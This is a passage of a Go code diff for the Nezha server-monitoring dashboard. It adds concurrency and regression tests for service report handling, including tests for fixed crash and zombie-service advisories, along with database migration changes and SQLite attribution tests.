<-deleteDone: + t.Fatal("server deletion returned before the accepted report completed") + case <-time.After(25 * time.Millisecond): + } + + release() + select { + case <-deleteDone: + case <-ctx.Done(): + t.Fatal(ctx.Err()) + } + + var historyCount int64 + if err := DB.Model(&model.ServiceHistory{}). + Where("service_id = ? AND server_id = ?", service.ID, 1). + Count(&historyCount).Error; err != nil { + t.Fatal(err) + } + if historyCount != 1 { + t.Fatalf("expected report side effects before deletion returned, got %d history rows", historyCount) + } + if _, ok := ServerShared.Get(1); ok { + t.Fatal("expected reporter to be deleted after the report completed") + } +} + +func TestServiceSentinelWorkerRejectsReportAfterReporterDeletion(t *testing.T) { + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "reporter"}, + ) + service := &model.Service{ + Common: model.Common{ID: 10, UserID: 1}, + Name: "deleted-reporter-service", + Type: model.TaskTypeTCPPing, + Target: "deleted-reporter.example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + } + addServiceMonitorSecurityService(t, ss, service) + + ServerShared.Delete([]uint64{1}) + ss.Dispatch(serviceMonitorResult(1, service.ID, model.TaskTypeTCPPing, true)) + ss.Close() + + var historyCount int64 + if err := DB.Model(&model.ServiceHistory{}). + Where("service_id = ? AND server_id = ?", service.ID, 1). + Count(&historyCount).Error; err != nil { + t.Fatal(err) + } + if historyCount != 0 { + t.Fatalf("expected no history after reporter deletion, got %d rows", historyCount) + } + ss.serviceResponseDataStoreLock.RLock() + _, pingCached := ss.serviceResponsePing[service.ID] + _, responseCached := ss.serviceResponseDataStore[service.ID] + stats := ss.serviceStatusToday[service.ID] + ss.serviceResponseDataStoreLock.RUnlock() + if pingCached { + t.Fatal("expected no ping cache side effect after reporter deletion") + } + if responseCached { + t.Fatal("expected no response cache side effect after reporter deletion") + } + if stats == nil || stats.Up != 0 || stats.Down != 0 { + t.Fatalf("expected no stats side effect after reporter deletion, got %+v", stats) + } +} + +func TestServiceSentinelWorkerRecoversPerReportPanic(t *testing.T) { + ctx, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "reporter"}, + ) + panicService := &model.Service{ + Common: model.Common{ID: 10, UserID: 1}, + Name: "panic-service", + Type: model.TaskTypeHTTPGet, + Target: "https://panic.example.invalid", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + } + validService := &model.Service{ + Common: model.Common{ID: 20, UserID: 1}, + Name: "valid-service", + Type: model.TaskTypeTCPPing, + Target: "valid.example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + } + addServiceMonitorSecurityService(t, ss, panicService) + addServiceMonitorSecurityService(t, ss, validService) + ss.serviceReportBeforeTLSSideEffectsHook = func(serviceID uint64) { + if serviceID == panicService.ID { + panic("test service report panic") + } + } + + ss.Dispatch(serviceMonitorResult(1, panicService.ID, model.TaskTypeHTTPGet, true)) + ss.Dispatch(serviceMonitorResult(1, validService.ID, model.TaskTypeTCPPing, true)) + waitForServiceHistory(t, validService.ID, 1) + ss.Close() + if !ss.serviceResponseDataStoreLock.TryLock() { + t.Fatal("panic leaked the service response lock") + } + ss.serviceResponseDataStoreLock.Unlock() + + deleteDone := make(chan struct{}) + go func() { + ServerShared.Delete([]uint64{1}) + close(deleteDone) + }() + select { + case <-deleteDone: + case <-ctx.Done(): + t.Fatal("panic leaked a lifecycle lock: " + ctx.Err().Error()) + } +} + +func TestServiceSentinelWorkerIgnoresStaleReportAfterDeletion(t *testing.T) { + if os.Getenv("NEZHA_SERVICE_SENTINEL_LIFECYCLE_CHILD") == "1" { + testServiceSentinelWorkerIgnoresStaleReportAfterDeletionChild(t) + return + } + + // Given + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + child := exec.CommandContext(ctx, os.Args[0], "-test.run=^TestServiceSentinelWorkerIgnoresStaleReportAfterDeletion$") + child.Env = append(os.Environ(), "NEZHA_SERVICE_SENTINEL_LIFECYCLE_CHILD=1") + + // When + output, err := child.CombinedOutput() + + // Then + if ctx.Err() != nil { + t.Fatalf("service sentinel lifecycle child timed out: %v\n%s", ctx.Err(), output) + } + if err != nil { + t.Fatalf("service sentinel lifecycle child failed: %v\n%s", err, output) + } + if !strings.Contains(string(output), serviceSentinelLifecycleSuccessMarker) { + t.Fatalf("service sentinel lifecycle child did not report success:\n%s", output) + } +} + +func testServiceSentinelWorkerIgnoresStaleReportAfterDeletionChild(t *testing.T) { + // Given + ctx, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "reporter"}, + ) + for _, service := range []*model.Service{ + { + Common: model.Common{ID: 10, UserID: 1}, + Name: "stale-service", + Type: model.TaskTypeTCPPing, + Target: "stale.example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + }, + { + Common: model.Common{ID: 20, UserID: 1}, + Name: "valid-service", + Type: model.TaskTypeTCPPing, + Target: "valid.example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + }, + } { + addServiceMonitorSecurityService(t, ss, service) + } + acceptedStaleReport := make(chan struct{}) + releaseWorker := make(chan struct{}) + var releaseOnce sync.Once + releaseWorkerHook := func() { + releaseOnce.Do(func() { close(releaseWorker) }) + } + ss.serviceReportValidatedHook = func(serviceID uint64) { + if serviceID == 10 { + close(acceptedStaleReport) + <-releaseWorker + } + } + t.Cleanup(func() { + releaseWorkerHook() + ss.Close() + }) + + // When + ss.Dispatch(serviceMonitorResult(1, 10, model.TaskTypeTCPPing, true)) + select { + case <-acceptedStaleReport: + case <-ctx.Done(): + t.Fatal(ctx.Err()) + } + ss.Delete([]uint64{10}) + releaseWorkerHook() + ss.Dispatch(serviceMonitorResult(1, 20, model.TaskTypeTCPPing, true)) + ss.Close() + + // Then + var staleHistoryCount int64 + if err := DB.Model(&model.ServiceHistory{}). + Where("service_id = ? AND server_id = ?", 10, 1). + Count(&staleHistoryCount).Error; err != nil { + t.Fatal(err) + } + if staleHistoryCount != 0 { + t.Fatalf("expected stale service to write zero per-reporter history rows, got %d", staleHistoryCount) + } + var validHistoryCount int64 + if err := DB.Model(&model.ServiceHistory{}). + Where("service_id = ? AND server_id = ?", 20, 1). + Count(&validHistoryCount).Error; err != nil { + t.Fatal(err) + } + if validHistoryCount != 1 { + t.Fatalf("expected exactly one valid service history row, got %d", validHistoryCount) + } + ss.serviceResponseDataStoreLock.RLock() + _, stalePingCached := ss.serviceResponsePing[10] + validStats := ss.serviceStatusToday[20] + ss.serviceResponseDataStoreLock.RUnlock() + if stalePingCached { + t.Fatal("expected stale service ping cache to be deleted") + } + if validStats == nil || validStats.Up != 1 || validStats.Down != 0 { + t.Fatalf("expected valid service stats up=1 down=0, got %+v", validStats) + } + if _, err := fmt.Fprintln(os.Stdout, serviceSentinelLifecycleSuccessMarker); err != nil { + t.Fatal(err) + } +} + +func TestServiceSentinelWorkerRevalidatesReportAfterUpdate(t *testing.T) { + // Given + ctx, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "reporter"}, + ) + service := &model.Service{ + Common: model.Common{ID: 10, UserID: 1}, + Name: "updatable-service", + Type: model.TaskTypeTCPPing, + Target: "updatable.example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + } + addServiceMonitorSecurityService(t, ss, service) + ss.serviceResponseDataStoreLock.Lock() + ss.serviceStatusToday[service.ID] = &_TodayStatsOfService{Up: 7, Down: 3, Delay: 12.5} + ss.serviceResponseDataStoreLock.Unlock() + acceptedReport := make(chan struct{}) + releaseWorker := make(chan struct{}) + var releaseOnce sync.Once + releaseWorkerHook := func() { + releaseOnce.Do(func() { close(releaseWorker) }) + } + ss.serviceReportValidatedHook = func(serviceID uint64) { + if serviceID == service.ID { + close(acceptedReport) + <-releaseWorker + } + } + t.Cleanup(func() { + releaseWorkerHook() + ss.Close() + }) + + // When + ss.Dispatch(serviceMonitorResult(1, service.ID, model.TaskTypeTCPPing, true)) + select { + case <-acceptedReport: + case <-ctx.Done(): + t.Fatal(ctx.Err()) + } + updatedService := *service + updatedService.Name = "updated-service" + updatedService.SkipServers = map[uint64]bool{} + if err := ss.Update(&updatedService); err != nil { + t.Fatal(err) + } + releaseWorkerHook() + ss.Close() + + // Then + var historyCount int64 + if err := DB.Model(&model.ServiceHistory{}). + Where("service_id = ? AND server_id = ?", service.ID, 1). + Count(&historyCount).Error; err != nil { + t.Fatal(err) + } + if historyCount != 0 { + t.Fatalf("expected updated service to write zero per-reporter history rows, got %d", historyCount) + } + ss.serviceResponseDataStoreLock.RLock() + _, pingCached := ss.serviceResponsePing[service.ID] + stats := ss.serviceStatusToday[service.ID] + ss.serviceResponseDataStoreLock.RUnlock() + if pingCached { + t.Fatal("expected updated service report to leave no ping cache entry") + } + if stats == nil || stats.Up != 7 || stats.Down != 3 || stats.Delay != 12.5 { + t.Fatalf("expected existing service stats to remain unchanged, got %+v", stats) + } + currentService, ok := ss.Get(service.ID) + if !ok || currentService.Name != updatedService.Name || currentService.SkipServers[1] { + t.Fatalf("expected updated service configuration, got %+v", currentService) + } +} + +func TestServiceSentinelLoadStatsFollowsLifecycleLockOrder(t *testing.T) { + // Given + ss := &ServiceSentinel{ + serviceStatusToday: make(map[uint64]*_TodayStatsOfService), + serviceResponseDataStore: make(map[uint64]serviceResponseData), + services: make(map[uint64]*model.Service), + monthlyStatus: make(map[uint64]*serviceResponseItem), + } + ss.loadStatsResponseLockedHook = func() { + if ss.serviceResponseDataStoreLock.TryLock() { + ss.serviceResponseDataStoreLock.Unlock() + t.Fatal("LoadStats invoked the hook before acquiring the response read lock") + } + if !ss.monthlyStatusLock.TryLock() { + t.Fatal("LoadStats acquired monthlyStatusLock before the response lock hook") + } + ss.monthlyStatusLock.Unlock() + if !ss.servicesLock.TryLock() { + t.Fatal("LoadStats acquired servicesLock before the response lock hook") + } + ss.servicesLock.Unlock() + } + + // When / Then + ss.LoadStats() +} + +func TestServiceSentinelWorkerHoldsResponseLockDuringTLSSideEffects(t *testing.T) { + // Given + ctx, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "reporter"}, + ) + service := &model.Service{ + Common: model.Common{ID: 10, UserID: 1}, + Name: "tls-service", + Type: model.TaskTypeHTTPGet, + Target: "https://tls.example.invalid", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + } + addServiceMonitorSecurityService(t, ss, service) + tlsSideEffectsReady := make(chan struct{}) + releaseTLSSideEffects := make(chan struct{}) + var releaseOnce sync.Once + releaseTLSSideEffectsHook := func() { + releaseOnce.Do(func() { close(releaseTLSSideEffects) }) + } + ss.serviceReportBeforeTLSSideEffectsHook = func(serviceID uint64) { + if serviceID == service.ID { + close(tlsSideEffectsReady) + <-releaseTLSSideEffects + } + } + t.Cleanup(func() { + releaseTLSSideEffectsHook() + ss.Close() + }) + report := serviceMonitorResult(1, service.ID, model.TaskTypeHTTPGet, true) + report.Data.Data = "issuer|2030-01-02 15:04:05 +0000 UTC" + + // When + ss.Dispatch(report) + select { + case <-tlsSideEffectsReady: + case <-ctx.Done(): + t.Fatal(ctx.Err()) + } + responseLockAcquired := ss.serviceResponseDataStoreLock.TryLock() + if responseLockAcquired { + ss.serviceResponseDataStoreLock.Unlock() + t.Fatal("worker released the response lock before TLS side effects") + } + releaseTLSSideEffectsHook() + ss.Close() + + // Then + ss.serviceResponseDataStoreLock.RLock() + cachedCertificate := ss.tlsCertCache[service.ID] + ss.serviceResponseDataStoreLock.RUnlock() + if cachedCertificate != report.Data.Data { + t.Fatalf("expected TLS cache %q, got %q", report.Data.Data, cachedCertificate) + } +} + +// TestServiceSentinelWorkerSurvivesConcurrentReporterServerDelete is a +// regression test for GHSA-jx78-55p5-rwv5 Finding 1 (incomplete fix of +// GHSA-qjpp-gffx-2wm9). +// +// The vulnerability: after the 2026-07-21 fix, the worker re-validates the +// service under serviceResponseDataStoreLock, but then takes a fresh snapshot +// m := ServerShared.GetList() with no guard. A concurrent batch-delete of the +// reporter's own server removes it between the pre-lock validation and the +// GetList call, so m[r.Reporter] is nil. delayCheck and notifyCheck then +// dereference m[r.Reporter].Name unconditionally — SIGSEGV. +// +// The subprocess-isolation pattern is used because the pre-fix code path +// panicked (nil pointer dereference in an unrecovered goroutine), which would +// crash the whole test binary rather than simply failing a single test. +func TestServiceSentinelWorkerSurvivesConcurrentReporterServerDelete(t *testing.T) { + if os.Getenv("NEZHA_SENTINEL_CONCURRENT_DELETE_CHILD") == "1" { + testServiceSentinelWorkerSurvivesConcurrentReporterServerDeleteChild(t) + return + } + + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + child := exec.CommandContext(ctx, os.Args[0], + "-test.run=^TestServiceSentinelWorkerSurvivesConcurrentReporterServerDelete$", + "-test.v", + ) + child.Env = append(os.Environ(), "NEZHA_SENTINEL_CONCURRENT_DELETE_CHILD=1") + + output, err := child.CombinedOutput() + if ctx.Err() != nil { + t.Fatalf("child process timed out: %v\n%s", ctx.Err(), output) + } + if err != nil { + t.Fatalf("child process crashed (likely nil deref in delayCheck/notifyCheck): %v\n%s", err, output) + } + if !strings.Contains(string(output), concurrentServerDeleteSuccessMarker) { + t.Fatalf("child did not print success marker:\n%s", output) + } +} + +func testServiceSentinelWorkerSurvivesConcurrentReporterServerDeleteChild(t *testing.T) { + // Given: a reporter server and a service with latency-alerting enabled so + // that delayCheck (the vulnerable sink at line 785) is exercised on every + // dispatch. MaxLatency=1 ensures delay=12 always exceeds the threshold and + // the notification branch (not just the mute-clear branch) is taken. + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "reporter"}, + ) + service := &model.Service{ + Common: model.Common{ID: 10, UserID: 1}, + Name: "latency-service", + Type: model.TaskTypeTCPPing, + Target: "example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + LatencyNotify: true, + MaxLatency: 1, + } + addServiceMonitorSecurityService(t, ss, service) + + reportProcessing := make(chan struct{}) + releaseWorker := make(chan struct{}) + var releaseOnce sync.Once + releaseWorkerFn := func() { releaseOnce.Do(func() { close(releaseWorker) }) } + + // serviceReportValidatedHook runs while the report holds the lifecycle read + // lock. Deletion must therefore run in another goroutine and wait until this + // hook releases; attempting Delete here would try to upgrade the RWMutex. + ss.serviceReportValidatedHook = func(serviceID uint64) { + if serviceID == service.ID { + close(reportProcessing) + <-releaseWorker + } + } + t.Cleanup(func() { + releaseWorkerFn() + ss.Close() + }) + + // When + ss.Dispatch(serviceMonitorResult(1, service.ID, model.TaskTypeTCPPing, true)) + select { + case <-reportProcessing: + case <-t.Context().Done(): + t.Fatal(t.Context().Err()) + } + deleteDone := make(chan struct{}) + go func() { + ServerShared.Delete([]uint64{1}) + close(deleteDone) + }() + releaseWorkerFn() + select { + case <-deleteDone: + case <-t.Context().Done(): + t.Fatal(t.Context().Err()) + } + ss.Close() + + // Then: no crash; the worker handled the nil reporter gracefully. + if _, err := fmt.Fprintln(os.Stdout, concurrentServerDeleteSuccessMarker); err != nil { + t.Fatal(err) + } +} + +// TestServiceSentinelDeleteWithUnknownIDDoesNotLeaveZombies is a regression +// test for GHSA-jx78-55p5-rwv5 Finding 2 (low severity). +// +// The vulnerability: ServiceSentinel.Delete iterates the caller-supplied id +// slice and does CronShared.Remove(ss.services[id].CronJobID) without checking +// whether id is present in ss.services. CheckPermission returns vacuously +// true for unknown ids, so the controller layer cannot block this path. +// ss.services[unknownID] returns nil, and .CronJobID panics. Because the +// panic aborts the loop, every id ordered AFTER the bogus one is never removed +// from the in-memory registry even though its database row was already deleted, +// producing zombie services that keep dispatching cron probes. +func TestServiceSentinelDeleteWithUnknownIDDoesNotLeaveZombies(t *testing.T) { + // Given: one legitimate service (ID 10) registered in the sentinel. + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "reporter"}, + ) + service := &model.Service{ + Common: model.Common{ID: 10, UserID: 1}, + Name: "real-service", + Type: model.TaskTypeTCPPing, + Target: "example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + } + addServiceMonitorSecurityService(t, ss, service) + + // When: Delete is called with a bogus ID first, then the real service ID. + // Before the fix this panicked on ss.services[99999].CronJobID and left + // service 10 as a zombie. + ss.Delete([]uint64{99999, service.ID}) + + // Then: the real service must be fully removed from every in-memory map. + ss.serviceResponseDataStoreLock.RLock() + _, todayPresent := ss.serviceStatusToday[service.ID] + _, pingPresent := ss.serviceResponsePing[service.ID] + ss.serviceResponseDataStoreLock.RUnlock() + + ss.servicesLock.RLock() + _, servicePresent := ss.services[service.ID] + ss.servicesLock.RUnlock() + + ss.monthlyStatusLock.Lock() + _, monthlyPresent := ss.monthlyStatus[service.ID] + ss.monthlyStatusLock.Unlock() + + if todayPresent { + t.Error("zombie: serviceStatusToday still contains the deleted service") + } + if pingPresent { + t.Error("zombie: serviceResponsePing still contains the deleted service") + } + if servicePresent { + t.Error("zombie: services map still contains the deleted service") + } + if monthlyPresent { + t.Error("zombie: monthlyStatus still contains the deleted service") + } + + if _, err := fmt.Fprintln(os.Stdout, deleteUnknownIDSuccessMarker); err != nil { + t.Fatal(err) + } +} diff --git a/service/singleton/singleton.go b/service/singleton/singleton.go index 66fa9825..03cc29a5 100644 --- a/service/singleton/singleton.go +++ b/service/singleton/singleton.go @@ -11,7 +11,6 @@ import ( "github.com/gin-gonic/gin" "github.com/patrickmn/go-cache" - "gorm.io/driver/sqlite" "gorm.io/gorm" "sigs.k8s.io/yaml" @@ -34,6 +33,10 @@ var ( NotificationShared *NotificationClass NATShared *NATClass CronShared *CronClass + // ServerTransferShared is initialized in LoadSingleton AFTER ServerShared + // (so the in-memory pending index can write back into ServerShared.UserID + // on transitions) and AFTER initUser (so PushIfOnline can read secrets + // from UserInfoMap). ) //go:embed frontend-templates.yaml @@ -59,6 +62,7 @@ func LoadSingleton(bus chan<- *model.Service) (err error) { NotificationShared = NewNotificationClass() ServerShared = NewServerClass() CronShared = NewCronClass() + ServerTransferShared = NewServerTransferClass() // 最后初始化 ServiceSentinel ServiceSentinelShared, err = NewServiceSentinel(bus) if err == nil { @@ -79,7 +83,7 @@ func InitFrontendTemplates() error { // InitDBFromPath 从给出的文件路径中加载数据库 func InitDBFromPath(path string) error { var err error - DB, err = gorm.Open(sqlite.Open(path), &gorm.Config{ + DB, err = gorm.Open(openSQLiteDialector(path), &gorm.Config{ CreateBatchSize: 200, }) if err != nil { @@ -92,11 +96,22 @@ func InitDBFromPath(path string) error { model.Notification{}, model.AlertRule{}, model.Service{}, model.NotificationGroupNotification{}, model.Cron{}, model.Transfer{}, model.ServerGroupServer{}, model.NAT{}, model.DDNSProfile{}, model.NotificationGroupNotification{}, - model.WAF{}, model.Oauth2Bind{}, model.Domain{}) + model.WAF{}, model.Oauth2Bind{}, model.Domain{}, model.ServerTransfer{}, model.JWTSession{}, + model.APIToken{}, model.MCPAuditLog{}) + if err != nil { return err } + // 旧 mcp:* scope 与 nezha:* 并行了一段时间，HasScope 通过别名让 mcp:fs:write + // 静默扩到 REST nezha:server:write。统一命名后这里把残留旧 scope 一次性 + // 归一化（或在仅剩危险旧 scope 时整张 PAT 删除），保证运行时不再依赖别名。 + if rewritten, deleted, mErr := model.MigrateLegacyMCPScopes(DB); mErr != nil { + log.Printf("NEZHA>> MigrateLegacyMCPScopes failed: %v", mErr) + } else if rewritten > 0 || deleted > 0 { + log.Printf("NEZHA>> Migrated legacy mcp:* api token scopes: rewritten=%d deleted=%d", rewritten, deleted) + } + return nil } @@ -114,16 +129,15 @@ func RecordTransferHourlyUsage(servers ...*model.Server) { } for server := range slist { + _, _, deltaIn, deltaOut := server.TransferDeltaAndAdvance() tx := model.Transfer{ ServerID: server.ID, - In: utils.SubUintChecked(server.State.NetInTransfer, server.PrevTransferInSnapshot), - Out: utils.SubUintChecked(server.State.NetOutTransfer, server.PrevTransferOutSnapshot), + In: deltaIn, + Out: deltaOut, } if tx.In == 0 && tx.Out == 0 { continue } - server.PrevTransferInSnapshot = server.State.NetInTransfer - server.PrevTransferOutSnapshot = server.State.NetOutTransfer tx.CreatedAt = nowTrimSeconds txs = append(txs, tx) } @@ -134,6 +148,13 @@ func RecordTransferHourlyUsage(servers ...*model.Server) { log.Printf("NEZHA>> Saved traffic metrics to database. Affected %d row(s), Error: %v", len(txs), DB.Create(txs).Error) } +func PersistTransfer(transfer model.Transfer) error { + if transfer.In == 0 && transfer.Out == 0 { + return nil + } + return DB.Create(&transfer).Error +} + // CleanMonitorHistory 清理流量记录（TSDB 有自己的保留策略） func CleanMonitorHistory() { // 清理已被删除的服务器的流量记录 @@ -143,7 +164,10 @@ func CleanMonitorHistory() { specialServerKeep := make(map[uint64]time.Time) var specialServerIDs []uint64 var alerts []model.AlertRule - DB.Find(&alerts) + if err := DB.Find(&alerts).Error; err != nil { + log.Printf("NEZHA>> Failed to load alert rules while cleaning transfer history: %v", err) + return + } for _, alert := range alerts { for _, rule := range alert.Rules { // 是不是流量记录规则 @@ -171,6 +195,14 @@ func CleanMonitorHistory() { for id, couldRemove := range specialServerKeep { DB.Unscoped().Delete(&model.Transfer{}, "server_id = ? AND datetime(`created_at`) < datetime(?)", id, couldRemove) } + if len(specialServerIDs) == 0 { + if allServerKeep.IsZero() { + DB.Unscoped().Session(&gorm.Session{AllowGlobalUpdate: true}).Delete(&model.Transfer{}) + } else { + DB.Unscoped().Delete(&model.Transfer{}, "datetime(`created_at`) < datetime(?)", allServerKeep) + } + return + } if allServerKeep.IsZero() { DB.Unscoped().Delete(&model.Transfer{}, "server_id NOT IN (?)", specialServerIDs) } else { diff --git a/service/singleton/sqlite_attribution_boundary_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_boundary_agentcompat_linux_test.go new file mode 100644 index 00000000..7bf0add8 --- /dev/null +++ b/service/singleton/sqlite_attribution_boundary_agentcompat_linux_test.go @@ -0,0 +1,83 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "errors" + "path/filepath" + "strings" + "testing" +) + +func TestSQLiteAttributionErrorsDoNotExposeDatabasePath(t *testing.T) { + // Given + databasePath := filepath.Join(t.TempDir(), "private-dashboard.sqlite") + unsupportedDSN := "file:" + databasePath + "?mode=memory" + missingJournal := filepath.Join(t.TempDir(), "missing-journal") + + // When + memoryDatabase, dsnErr := openSQLiteAttributionTestDB(unsupportedDSN) + if dsnErr == nil { + dsnErr = memoryDatabase.Ping() + } + if memoryDatabase != nil { + t.Cleanup(func() { + if closeErr := memoryDatabase.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + } + _, journalErr := sqliteAttributionOpenJournalDescriptor(missingJournal) + + // Then + if !errors.Is(dsnErr, ErrSQLiteAttributionUnsupportedDSN) { + t.Fatal("file URI error does not wrap the typed unsupported DSN error") + } + if !errors.Is(journalErr, ErrSQLiteAttributionJournalIdentity) { + t.Fatal("journal error does not wrap the typed journal identity error") + } + if strings.Contains(dsnErr.Error(), databasePath) || strings.Contains(dsnErr.Error(), unsupportedDSN) { + t.Fatal("unsupported DSN error exposes its database path") + } + if strings.Contains(journalErr.Error(), missingJournal) { + t.Fatal("journal identity error exposes its database path") + } +} + +func TestSQLiteAttributionAcceptsOnDiskFileURIAndRejectsInMemoryDSN(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + databasePath := filepath.Join(t.TempDir(), "dashboard.sqlite") + + // When + fileDatabase, fileErr := openSQLiteAttributionTestDB("file:" + databasePath) + if fileDatabase != nil { + t.Cleanup(func() { + if closeErr := fileDatabase.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + } + if fileErr == nil { + fileErr = fileDatabase.Ping() + } + memoryDatabase, memoryErr := openSQLiteAttributionTestDB(":memory:") + if memoryDatabase != nil { + t.Cleanup(func() { + if closeErr := memoryDatabase.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + } + if memoryErr == nil { + memoryErr = memoryDatabase.Ping() + } + + // Then + if fileErr != nil { + t.Fatal("file URI for an on-disk database was rejected") + } + if !errors.Is(memoryErr, ErrSQLiteAttributionUnsupportedDSN) { + t.Fatal("in-memory DSN does not return the typed unsupported DSN error") + } +} diff --git a/service/singleton/sqlite_attribution_close_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_close_agentcompat_linux_test.go new file mode 100644 index 00000000..8350f7ce --- /dev/null +++ b/service/singleton/sqlite_attribution_close_agentcompat_linux_test.go @@ -0,0 +1,180 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "database/sql" + "database/sql/driver" + "errors" + "testing" + + "golang.org/x/sys/unix" +) + +func TestSQLiteAttributionConnectionCloseFinalizesActiveWriteTransaction(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + databasePath := sqliteAttributionTestDatabasePath(t) + rawConnection, err := sqliteAttributionDriver{}.Open(databasePath) + if err != nil { + t.Fatal(err) + } + connection := rawConnection.(*sqliteAttributionConnection) + if _, err := connection.connection.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)", nil); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + transaction, err := connection.Begin() + if err != nil { + t.Fatal(err) + } + statement, err := connection.Prepare("INSERT INTO settings (value) VALUES (?)") + if err != nil { + t.Fatal(err) + } + if _, err := statement.Exec([]driver.Value{"close-active"}); err != nil { + t.Fatal(err) + } + if err := statement.Close(); err != nil { + t.Fatal(err) + } + identity, descriptor, active := sqliteAttributionTransactionState(t, connection) + if !active { + t.Fatal("active transaction is missing before Close") + } + + // When + firstCloseErr := connection.Close() + secondCloseErr := connection.Close() + commitErr := transaction.Commit() + rollbackErr := transaction.Rollback() + _, descriptorErr := unix.FcntlInt(uintptr(descriptor), unix.F_GETFD, 0) + standard, openErr := sql.Open("sqlite3", databasePath) + if openErr != nil { + t.Fatal(openErr) + } + defer standard.Close() + var count int + countErr := standard.QueryRow("SELECT COUNT(*) FROM settings").Scan(&count) + tracker := sqliteAttributionTracker.Load() + tracker.mu.Lock() + _, active = tracker.transactions[identity] + tracker.mu.Unlock() + + // Then + if firstCloseErr != nil || secondCloseErr != nil { + t.Fatalf("Close errors = %v / %v", firstCloseErr, secondCloseErr) + } + if !errors.Is(commitErr, driver.ErrBadConn) { + t.Fatalf("Commit after Close error = %v, want driver.ErrBadConn", commitErr) + } + if !errors.Is(rollbackErr, driver.ErrBadConn) { + t.Fatalf("Rollback after Close error = %v, want driver.ErrBadConn", rollbackErr) + } + if !errors.Is(descriptorErr, unix.EBADF) { + t.Fatalf("journal descriptor after Close = %v, want EBADF", descriptorErr) + } + if countErr != nil || count != 0 { + t.Fatalf("closed active transaction persisted count=%d err=%v", count, countErr) + } + if active { + t.Fatal("Close left the tracker transaction active") + } +} + +func TestSQLiteAttributionConnectionCloseWakesSelectedCommit(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + databasePath := sqliteAttributionTestDatabasePath(t) + rawConnection, err := sqliteAttributionDriver{}.Open(databasePath) + if err != nil { + t.Fatal(err) + } + connection := rawConnection.(*sqliteAttributionConnection) + if _, err := connection.connection.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)", nil); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + transaction, err := connection.Begin() + if err != nil { + t.Fatal(err) + } + statement, err := connection.Prepare("INSERT INTO settings (value) VALUES (?)") + if err != nil { + t.Fatal(err) + } + if _, err := statement.Exec([]driver.Value{"close-wakes-commit"}); err != nil { + t.Fatal(err) + } + if err := statement.Close(); err != nil { + t.Fatal(err) + } + _, descriptor, active := sqliteAttributionTransactionState(t, connection) + if !active { + t.Fatal("active transaction is missing before selected Commit") + } + tracker := sqliteAttributionTracker.Load() + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + finalizing := make(chan error, 1) + commit := make(chan error, 1) + go func() { + _, waitErr := tracker.WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitFinalizing) + finalizing <- waitErr + }() + + // When + go func() { commit <- transaction.Commit() }() + if finalizingErr := <-finalizing; finalizingErr != nil { + t.Fatalf("Commit finalization wait error = %v", finalizingErr) + } + closeErr := connection.Close() + commitErr := <-commit + _, descriptorErr := unix.FcntlInt(uintptr(descriptor), unix.F_GETFD, 0) + standard, err := sql.Open("sqlite3", databasePath) + if err != nil { + t.Fatal(err) + } + defer standard.Close() + var count int + if err := standard.QueryRow("SELECT COUNT(*) FROM settings").Scan(&count); err != nil { + t.Fatal(err) + } + + // Then + if closeErr != nil { + t.Fatal(closeErr) + } + var holdErr *SQLiteHoldError + if !errors.As(commitErr, &holdErr) || !errors.Is(commitErr, ErrSQLiteHoldAborted) { + t.Fatalf("Commit error after Close = %v", commitErr) + } + if !errors.Is(descriptorErr, unix.EBADF) { + t.Fatalf("journal descriptor after Close = %v, want EBADF", descriptorErr) + } + if count != 0 { + t.Fatalf("Close while Commit waited persisted %d rows", count) + } +} + +type sqliteAttributionBadConnRows struct{} + +func (sqliteAttributionBadConnRows) Columns() []string { return 